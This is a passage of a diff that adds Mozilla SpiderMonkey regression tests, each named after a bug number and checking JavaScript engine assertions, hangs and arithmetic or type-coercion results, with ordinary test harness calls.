+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 463259;
+var summary = 'Do not assert: VALUE_IS_FUNCTION(cx, fval)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+try
+{
+ (function(){
+ eval("(function(){ for (var j=0;j<4;++j) if (j==3) undefined(); })();");
+ })();
+}
+catch(ex)
+{
+}
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-463782.js b/js/src/tests/non262/regress/regress-463782.js
new file mode 100644
index 0000000000..d2805a58ba
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-463782.js
@@ -0,0 +1,66 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 463782;
+var summary = 'Do not assert: "need a way to EOT now, since this is trace end": 0';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function dateCheck() {
+ return true;
+}
+function dateToString()
+{
+ if (!this.dtsReturnValue)
+ this.dtsReturnValue = "200811080616";
+ return this.dtsReturnValue
+ }
+
+function placeAd2() {
+ var adClasses = {
+ "": {
+ templateCheck: function () {
+ var foo = ({
+ allianz:{
+ where:["intl/turningpoints"],
+ when:["200805010000/200901010000"],
+ what:["!234x60", "!bigbox_2", "!leaderboard_2", "!88x31"]
+ },
+ trendMicro:{
+ where:["techbiz/tech/threatmeter"],
+ when:["200806110000/200812310000"],
+ what:["leaderboard"]
+ },
+ rolex_bb:{
+ where:["politics/transitions"],
+ when:["200811050000/200901312359"],
+ what:["!bigbox"]
+ }
+ });
+
+ for (a in foo) {
+ if (dateCheck("", dateToString())) {
+ for (var c = 0; c < 1; c++) {
+ }
+ }
+ }
+ return true;
+ }
+ }
+ };
+
+ adClasses[""].templateCheck();
+}
+
+placeAd2();
+
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/non262/regress/regress-464096.js b/js/src/tests/non262/regress/regress-464096.js
new file mode 100644
index 0000000000..aae2c2a1f5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-464096.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 464096;
+var summary = 'TM: Do not assert: tm->recoveryDoublePoolPtr > tm->recoveryDoublePool';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let f in [1,1]);
+ Object.prototype.__defineGetter__('x', function() { return gc(); });
+ (function() { for (let j of [1,1,1,1,1]) { var y = .2; } })();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-464334.js b/js/src/tests/non262/regress/regress-464334.js
new file mode 100644
index 0000000000..f95149cd65
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-464334.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 464334;
+var summary = 'Do not assert: (size_t) (fp->regs->sp - fp->slots) <= fp->script->nslots';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function g()
+ {
+ gc();
+ }
+
+ var a = [];
+ for (var i = 0; i != 20; ++i)
+ a.push(i);
+ g.apply(this, a);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-464403.js b/js/src/tests/non262/regress/regress-464403.js
new file mode 100644
index 0000000000..6d3e3fa910
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-464403.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 464403;
+var summary = 'Do not assert: tm->recorder != NULL';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ print(8);
+ var u = [print, print, function(){}];
+ for (x of u) for (u.e in [1,1,1,1]);
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-464418.js b/js/src/tests/non262/regress/regress-464418.js
new file mode 100644
index 0000000000..94cf4e08ba
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-464418.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 464418;
+var summary = 'Do not assert: fp->slots + fp->script->nfixed + ' +
+ 'js_ReconstructStackDepth(cx, fp->script, fp->regs->pc) == fp->regs->sp';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(2);
+ }
+
+ for (let q = 0; q < 50; ++q) {
+ new Function("for (var i = 0; i < 5; ++i) { } ")();
+ var w = "r".match(/r/);
+ new Function("for (var j = 0; j < 1; ++j) { } ")();
+ }
+
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(0);
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-464862.js b/js/src/tests/non262/regress/regress-464862.js
new file mode 100644
index 0000000000..cf555c76f9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-464862.js
@@ -0,0 +1,123 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 464862;
+var summary = 'Do not assert: ( int32_t(delta) == uint8_t(delta) )';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function ygTreeView(id) {
+ this.init(id);
+}
+
+ygTreeView.prototype.init = function (id) {this.root = new ygRootNode(this);};
+
+function ygNode() {}
+
+ygNode.prototype.nextSibling = null;
+
+ygNode.prototype.init = function (_32, _33, _34) {
+ this.children = [];
+ this.expanded = _34;
+ if (_33) {
+ this.tree = _33.tree;
+ this.depth = _33.depth + 1;
+ _33.appendChild(this);
+ }
+};
+
+ygNode.prototype.appendChild = function (_35) {
+ if (this.hasChildren()) {
+ var sib = this.children[this.children.length - 1];
+ }
+ this.children[this.children.length] = _35;
+};
+
+ygNode.prototype.getElId = function () {};
+
+ygNode.prototype.getNodeHtml = function () {};
+
+ygNode.prototype.getToggleElId = function () {};
+
+ygNode.prototype.getStyle = function () {
+ var loc = this.nextSibling ? "t" : "l";
+ var _39 = "n";
+ if (this.hasChildren(true)) {}
+};
+
+ygNode.prototype.hasChildren = function () {return this.children.length > 0;};
+
+ygNode.prototype.getHtml = function () {
+ var sb = [];
+ sb[sb.length] = "<div class=\"ygtvitem\" id=\"" + this.getElId() + "\">";
+ sb[sb.length] = this.getNodeHtml();
+ sb[sb.length] = this.getChildrenHtml();
+};
+
+ygNode.prototype.getChildrenHtml = function () {
+ var sb = [];
+ if (this.hasChildren(true) && this.expanded) {
+ sb[sb.length] = this.renderChildren();
+ }
+};
+
+ygNode.prototype.renderChildren = function () {return this.completeRender();};
+
+ygNode.prototype.completeRender = function () {
+ var sb = [];
+ for (var i = 0; i < this.children.length; ++i) {
+ sb[sb.length] = this.children[i].getHtml();
+ }
+};
+
+ygRootNode.prototype = new ygNode;
+
+function ygRootNode(_48) {
+ this.init(null, null, true);
+}
+
+ygTextNode.prototype = new ygNode;
+
+function ygTextNode(_49, _50, _51) {
+ this.init(_49, _50, _51);
+ this.setUpLabel(_49);
+}
+
+ygTextNode.prototype.setUpLabel = function (_52) {
+ if (typeof _52 == "string") {}
+ if (_52.target) {}
+ this.labelElId = "ygtvlabelel" + this.index;
+};
+
+ygTextNode.prototype.getNodeHtml = function () {
+ var sb = new Array;
+ sb[sb.length] = "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\">";
+ sb[sb.length] = "<tr>";
+ for (i = 0; i < this.depth; ++i) {}
+ sb[sb.length] = " id=\"" + this.getToggleElId() + "\"";
+ sb[sb.length] = " class=\"" + this.getStyle() + "\"";
+ if (this.hasChildren(true)) {}
+ sb[sb.length] = " id=\"" + this.labelElId + "\"";
+};
+
+function buildUserTree() {
+ userTree = new ygTreeView("userTree");
+ addMenuNode(userTree, "N", "navheader");
+ addMenuNode(userTree, "R", "navheader");
+ addMenuNode(userTree, "S", "navheader");
+}
+
+function addMenuNode(tree, label, styleClass) {
+ new ygTextNode({}, tree.root, false);
+}
+
+buildUserTree();
+userTree.root.getHtml();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-464978.js b/js/src/tests/non262/regress/regress-464978.js
new file mode 100644
index 0000000000..5fe2ae86ad
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-464978.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 464978;
+var summary = 'Do not hang with [] + null';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let j = 0; j < 2; ++j) { [] + null; }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465013.js b/js/src/tests/non262/regress/regress-465013.js
new file mode 100644
index 0000000000..de936645f2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465013.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465013;
+var summary = '';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'bgcolor="dummy" quality="dummy" allowScriptAccess="dummy" ';
+
+
+ print((function(x) {
+ var ja = "";
+ var ka = {bgcolor:"#FFFFFF", quality:"high", allowScriptAccess:"always"};
+ for (var la in ka) {
+ ja +=[la] + "=\"" + x/*ka[la]*/ + "\" ";
+ }
+ return actual = ja;
+ })("dummy"));
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465132.js b/js/src/tests/non262/regress/regress-465132.js
new file mode 100644
index 0000000000..7bb607411c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465132.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465132;
+var summary = 'TM: Mathematical constants should be constant';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var constants = ['E', 'LN10', 'LN2', 'LOG2E', 'LOG10E', 'PI', 'SQRT1_2', 'SQRT2'];
+
+ for (var j = 0; j < constants.length; j++)
+ {
+ expect = Math[constants[j]];
+
+ for(i=0;i<9;++i)
+ ++Math[constants[j]];
+
+ for(i=0;i<9;++i)
+ eval('++Math.' + constants[j]);
+
+ actual = Math[constants[j]];
+
+ reportCompare(expect, actual, summary + ' Math.' + constants[j]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-465133.js b/js/src/tests/non262/regress/regress-465133.js
new file mode 100644
index 0000000000..9fad075199
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465133.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465133;
+var summary = '{} < {}';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'false,false,false,false,false,';
+ actual = '';
+
+
+ for (var i=0;i<5;++i) actual += ({} < {}) + ',';
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465135.js b/js/src/tests/non262/regress/regress-465135.js
new file mode 100644
index 0000000000..4af87514c7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465135.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465135;
+var summary = 'true << true';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '2,2,2,2,2,';
+ actual = '';
+
+
+ for (var i=0;i<5;++i) actual += (true << true) + ',';
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465136.js b/js/src/tests/non262/regress/regress-465136.js
new file mode 100644
index 0000000000..ef2b96a4f5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465136.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465136;
+var summary = 'false == ""';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'true,true,true,true,true,';
+ actual = '';
+
+
+ for (var i=0;i<5;++i) actual += (false == '') + ',';
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465137.js b/js/src/tests/non262/regress/regress-465137.js
new file mode 100644
index 0000000000..968b850be0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465137.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465137;
+var summary = '!NaN is not false';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'falsy,falsy,falsy,falsy,falsy,';
+ actual = '';
+
+
+ for (var i=0;i<5;++i) actual += (!(NaN) ? "falsy" : "truthy") + ',';
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465220.js b/js/src/tests/non262/regress/regress-465220.js
new file mode 100644
index 0000000000..a17a23eae4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465220.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465220;
+var summary = 'Do not assert: anti-nesting';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'TypeError: can\'t convert o to primitive type';
+
+
+ try
+ {
+ var o = {toString: function() { return (i > 2) ? this : "foo"; }};
+ var s = "";
+ for (var i = 0; i < 5; i++)
+ s += o + o;
+ print(s);
+ actual = 'No Exception';
+ }
+ catch(ex)
+ {
+ actual = 'TypeError: can\'t convert o to primitive type';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465234.js b/js/src/tests/non262/regress/regress-465234.js
new file mode 100644
index 0000000000..adb8476a6f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465234.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465234;
+var summary = '"" <= null';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = true;
+ actual = true;
+
+
+ for (let j = 0; j < 5; ++j) actual = actual && ("" <= null);
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465236.js b/js/src/tests/non262/regress/regress-465236.js
new file mode 100644
index 0000000000..7a07f17d57
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465236.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465236;
+var summary = 'TM: Do not assert: we should have converted to numbers already';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (let j = 0; j < 2; ++j) null <= null;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465239.js b/js/src/tests/non262/regress/regress-465239.js
new file mode 100644
index 0000000000..86033c362a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465239.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465239;
+var summary = '"1e+81" ^ 3';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '3,3,3,3,3,';
+ actual = '';
+
+
+ for (let j = 0; j < 5; ++j) actual += ("1e+81" ^ 3) + ',';
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465241.js b/js/src/tests/non262/regress/regress-465241.js
new file mode 100644
index 0000000000..852b3d0a00
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465241.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465241;
+var summary = '"0" in [3]';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = true;
+ actual = true;
+
+
+ for (let j = 0; j < 5; ++j) actual = actual && ("0" in [3]);
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465249.js b/js/src/tests/non262/regress/regress-465249.js
new file mode 100644
index 0000000000..643ab4dd3a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465249.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465249;
+var summary = 'Do not assert: (m != JSVAL_INT) || isInt32(*vp)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ eval("for (let j = 0; j < 5; ++j) { (0x50505050) + (0x50505050); }");
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465261.js b/js/src/tests/non262/regress/regress-465261.js
new file mode 100644
index 0000000000..daad5c793c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465261.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465261;
+var summary = 'TM: Do not assert: ';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let z = 0; z < 2; ++z) {
+ for (let x of [0, true, (void 0), 0, (void 0)]) {
+ if(x){}
+ }
+ };
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465262.js b/js/src/tests/non262/regress/regress-465262.js
new file mode 100644
index 0000000000..b3c3e83468
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465262.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465262;
+var summary = 'truthiness of (3 > null)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ expect = 'true,true,true,true,true,';
+
+ for(j=0;j<5;++j) print(actual += "" + (3 > null) + ',')
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465272.js b/js/src/tests/non262/regress/regress-465272.js
new file mode 100644
index 0000000000..fe7c012f2e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465272.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465272;
+var summary = 'subtraction';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ expect = '3,3,3,3,3,';
+
+ for (j=0;j<5;++j) print(actual += "" + ((5) - 2) + ',');
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465308.js b/js/src/tests/non262/regress/regress-465308.js
new file mode 100644
index 0000000000..553b98f6c9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465308.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465308;
+var summary = '((0x60000009) * 0x60000009))';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '-1073741824,-1073741824,-1073741824,-1073741824,-1073741824,';
+
+ for (let j=0;j<5;++j)
+ print(actual += "" + (0 | ((0x60000009) * 0x60000009)) + ',');
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465347.js b/js/src/tests/non262/regress/regress-465347.js
new file mode 100644
index 0000000000..207b860fe6
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465347.js
@@ -0,0 +1,49 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465347;
+var summary = 'Test integer to id in js_Int32ToId';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var o;
+
+ o = new Array();
+
+ expect = undefined;
+ o[0xffffffff] = 'end';
+ actual = o[-1];
+ reportCompare(expect, actual, summary + ': 1');
+
+ expect = 42;
+ o['42'] = 42;
+ actual = o[42];
+ reportCompare(expect, actual, summary + ': 2');
+
+ //
+
+ o = new Object();
+
+ expect = undefined;
+ o[0xffffffff] = 'end';
+ actual = o[-1];
+ reportCompare(expect, actual, summary + ': 3');
+
+ expect = 42;
+ o['42'] = 42;
+ actual = o[42];
+ reportCompare(expect, actual, summary + ': 4');
+}
diff --git a/js/src/tests/non262/regress/regress-465366.js b/js/src/tests/non262/regress/regress-465366.js
new file mode 100644
index 0000000000..3c06e4251c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465366.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465366;
+var summary = 'TM: JIT: error with multiplicative loop';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function f()
+ {
+ var k = 1;
+ for (var n = 0; n < 2; n++) {
+ k = (k * 10);
+ }
+ return k;
+ }
+ f();
+ print(f());
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465424.js b/js/src/tests/non262/regress/regress-465424.js
new file mode 100644
index 0000000000..35a4dd3fe3
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465424.js
@@ -0,0 +1,27 @@
